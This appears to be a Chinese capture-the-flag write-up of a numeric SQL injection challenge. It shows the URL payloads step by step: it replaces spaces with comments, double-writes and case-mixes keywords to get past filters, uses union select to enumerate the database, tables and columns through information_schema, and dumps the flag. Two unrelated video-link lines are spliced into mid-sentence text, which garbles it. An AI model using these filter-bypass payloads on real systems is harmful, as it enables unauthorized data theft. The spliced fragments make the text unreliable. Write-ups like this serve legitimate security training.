"
打开题目,直接受到物理攻击。看到网页左下角提示
于是尝试sql注入,/?id=1;得到回显,/?id=//代码效果参考:https://v.youku.com/v_show/id_XNjQwNjgyMTc5Ng==.html
1' ;无回显,判断为数//代码效果参考: https://v.youku.com/v_show/id_XNjQwMDM2Mzg2MA==.html 字型注入。当输入的参数为整形时,如果存在注入漏洞,可以认为是数字型注入。
当输入的参数为字符串时,称为字符型。字符型和数字型最大的一个区别在于,数字型不需要单引号来闭合,而字符串一般需要通过单引号来闭合的。
尝试查询字段数,经尝试过滤了空格 or ,于是用/**/代替空格 和双写绕过。
?id=1//oorderrder//by/**/1得到回显
测试为3个字段数,然后查询回显,发现select和union被过滤,发现双写绕过不行,于是尝试大小写绕过
?id=1//Union//Select/**/1,2,3
发现2,3为回显位,于是查询当前数据库名。
?id=1//Union//Select/**/1,2,database()
得到数据库名 text
查询表名
?id=1//Union//Select//1,2,group_concat(table_name)//frfromom//information_schema.tables//where/**/table_schema='text'
得到flag,users
获取列名
?id=1//uNion//Select//1,2,group_concat(column_name)//frfromom//information_schema.columns//where/**/table_name=%27flag%27
id,flag
查询字段值
?id=1//uNion//Select//1,2,flag//frfromom/**/flag
得到flag
flag{You have successfully!!!}
下次可以尝试直接爆破数据库密码了
"